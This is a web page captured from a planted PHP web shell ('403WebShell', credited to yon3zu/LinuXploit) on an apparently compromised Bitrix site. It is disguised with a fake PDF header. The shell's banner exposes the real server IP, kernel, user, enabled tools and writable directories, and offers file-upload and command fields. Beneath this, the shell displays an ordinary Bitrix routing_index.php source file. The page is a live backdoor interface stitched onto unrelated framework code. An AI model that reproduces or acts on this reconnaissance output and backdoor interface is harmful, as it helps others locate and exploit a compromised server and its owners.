%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.7.151
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/include/routing_index.php
<?php
/**
 * Bitrix Framework
 * @package    bitrix
 * @subpackage main
 * @copyright  2001-2020 Bitrix
 */

use Bitrix\Main\Context;
use Bitrix\Main\Engine\Action;
use Bitrix\Main\Engine\AutoWire\Parameter;
use Bitrix\Main\Engine\Contract\RoutableAction;
use Bitrix\Main\Engine\Response\Json;
use Bitrix\Main\Loader;
use Bitrix\Main\Routing\CompileCache;
use Bitrix\Main\Routing\Controllers\PublicPageController;
use Bitrix\Main\Routing\Router;
use Bitrix\Main\Routing\RoutingConfigurator;
use Bitrix\Main\SystemException;

require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/start.php");

$application = \Bitrix\Main\Application::getInstance();
$application->initializeExtendedKernel(array(
	"get" => $_GET,
	"post" => $_POST,
	"files" => $_FILES,
	"cookie" => $_COOKIE,
	"server" => $_SERVER,
	"env" => $_ENV
));

$request = \Bitrix\Main\Application::getInstance()->getContext()->getRequest();

$routes = new RoutingConfigurator;
$router = new Router;
$routes->setRouter($router);
$application->setRouter($router);

// files with routes
$files = [];

// user files
$routingConfig = \Bitrix\Main\Config\Configuration::getInstance()->get('routing');
if (!empty($routingConfig['config']))
{
	$fileNames = $routingConfig['config'];

	foreach ($fileNames as $fileName)
	{
		foreach (['local', 'bitrix'] as $vendor)
		{
			if (file_exists($_SERVER["DOCUMENT_ROOT"].'/'.$vendor.'/routes/'.basename($fileName)))
			{
				$files[] = $_SERVER["DOCUMENT_ROOT"].'/'.$vendor.'/routes/'.basename($fileName);
			}
		}
	}
}

// system files
if (file_exists($_SERVER["DOCUMENT_ROOT"].'/bitrix/routes/web_bitrix.php'))
{
	$files[] = $_SERVER["DOCUMENT_ROOT"].'/bitrix/routes/web_bitrix.php';
}

foreach ($files as $file)
{
	$callback = include $file;
	$callback($routes);
}

$router->releaseRoutes();

// cache for route compiled data
CompileCache::handle($files, $router);

// match request
$request = Context::getCurrent()->getRequest();
$route = $router->match($request);

if (!empty($route))
{
	$application->setCurrentRoute($route);

	// copy route parameters to the request
	if ($route->getParametersValues())
	{
		foreach ($route->getParametersValues()->getValues() as $name => $value)
		{
			$_GET[$name] = $value;
			$_REQUEST[$name] = $value;
			$request->set($name, $value);
			$request->getQueryList()->set($name, $value);
		}
	}

	$controller = $route->getController();

	if ($controller instanceof PublicPageController)
	{
		include_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/virtual_io.php");
		$io = CBXVirtualIo::GetInstance();

		$_SERVER["REAL_FILE_PATH"] = $controller->getPath();
		Context::getCurrent()->getServer()->set('REAL_FILE_PATH', $controller->getPath());

		include_once($io->GetPhysicalName($_SERVER['DOCUMENT_ROOT'].$controller->getPath()));
		die;
	}
	elseif ($controller instanceof \Closure)
	{
		$b = \Bitrix\Main\Engine\AutoWire\Binder::buildForFunction($controller);

		// pass current route
		$b->appendAutoWiredParameter(new Parameter(
			\Bitrix\Main\Routing\Route::class, function () use ($route) {
				return $route;
			}
		));

		// pass request
		$b->appendAutoWiredParameter(new Parameter(
			\Bitrix\Main\HttpRequest::class, function () use ($request) {
			return $request;
		}
		));

		// pass named parameters
		$b->setSourcesParametersToMap([
			$route->getParametersValues()->getValues()
		]);

		// init kernel
		require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

		// call
		$result = $b->invoke();

		// send response
		if ($result !== null)
		{
			if ($result instanceof \Bitrix\Main\HttpResponse)
			{
				// ready response
				$response = $result;
			}
			elseif (is_array($result))
			{
				// json
				$response = new Json($result);
			}
			else
			{
				// string
				$response = new \Bitrix\Main\HttpResponse;
				$response->setContent($result);
			}

			$application->getContext()->setResponse($response);
			$response->send();
		}

		// terminate app
		$application->terminate(0);
	}
	elseif (is_array($controller))
	{
		require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

		// classic controller
		list($controllerClass, $actionName) = $controller;
		Loader::requireClass($controllerClass);

		if (is_subclass_of($controllerClass, \Bitrix\Main\Engine\Controller::class))
		{
			if (substr($actionName, -6) == 'Action')
			{
				$actionName = substr($actionName, 0, -6);
			}

			/** @var \Bitrix\Main\HttpApplication $app */
			$app = \Bitrix\Main\Application::getInstance();
			$app->runController($controllerClass, $actionName);
		}
	}
	elseif (is_string($controller))
	{
		require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

		// actually action could be attached to a few controllers
		// but what if action was made for the one controller only
		// then it could be used in routing
		$actionClass = $controller;
		Loader::requireClass($actionClass);

		if (is_subclass_of($controller, Action::class))
		{
			if (is_subclass_of($actionClass, RoutableAction::class))
			{
				/** @var RoutableAction $actionClass */
				$controllerClass = $actionClass::getControllerClass();
				$actionName = $actionClass::getDefaultName();

				/** @var \Bitrix\Main\HttpApplication $app */
				$app = \Bitrix\Main\Application::getInstance();
				$app->runController($controllerClass, $actionName);
			}
			else
			{
				throw new SystemException(sprintf(
					'Action `%s` should implement %s interface for being called in routing',
					$actionClass, RoutableAction::class
				));
			}
		}
	}

	throw new SystemException(sprintf(
		'Unknown controller `%s`', $controller
	));
}
else
{
	require_once __DIR__.'/urlrewrite.php';
}

Youez - 2016 - github.com/yon3zu
LinuXploit